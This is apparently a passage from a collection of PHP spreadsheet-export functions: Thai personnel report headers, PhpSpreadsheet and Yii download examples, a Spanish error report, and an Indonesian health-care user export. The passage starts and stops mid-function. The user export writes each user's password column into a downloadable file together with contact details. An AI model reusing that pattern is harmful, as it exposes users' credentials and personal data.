1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "public function actionExcel(){\n $spreadsheet = new Spreadsheet();\n \n // Set document properties\n $spreadsheet->getProperties()->setCreator('Maarten Balliauw')\n ->setLastModifiedBy('Maarten Balliauw')\n ->setTitle('Office 2007 XLSX Test Document')\n ->setSubject('Office 2007 XLSX Test Document')\n ->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n ->setKeywords('office 2007 openxml php')\n ->setCategory('Test result file');\n \n // Add some data\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'Hello')\n ->setCellValue('B2', 'world!')\n ->setCellValue('C1', 'Hello')\n ->setCellValue('D2', 'world!');\n \n // Miscellaneous glyphs, UTF-8\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A4', 'Miscellaneous glyphs')\n ->setCellValue('A5', 'éàèùâêîôûëïüÿäöüç');\n \n // Rename worksheet\n $spreadsheet->getActiveSheet()->setTitle('Simple');\n \n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\n $spreadsheet->setActiveSheetIndex(0);\n\n $response = Yii::$app->getResponse();\n $headers = $response->getHeaders();\n \n // Redirect output to a client’s web browser (Xlsx)\n $headers->set('Content-Type', 'application/vnd.ms-excel');\n $headers->set('Content-Disposition','attachment;filename=\"01simple.xlsx\"');\n // $headers->set('Cache-Control: max-age=0');\n // $headers->setheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\n // $headers->set('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n // $headers->set('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n // $headers->set('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n // $headers->set('Pragma: public'); // HTTP/1.0\n\n //header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n // header('Content-Disposition: attachment;filename=\"01simple.xlsx\"');\n $headers->set('Cache-Control: max-age=0');\n // If you're serving to IE 9, then the following may be needed\n $headers->set('Cache-Control: max-age=1');\n \n // If you're serving to IE over SSL, then the following may be needed\n $headers->set('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n $headers->set('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n $headers->set('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n $headers->set('Pragma: public'); // HTTP/1.0\n ob_start(); \n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save(\"php://output\");\n $content = ob_get_contents();\n ob_clean();\n return $content;\n\n // exit;\n\n\n\n\n\n }", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", 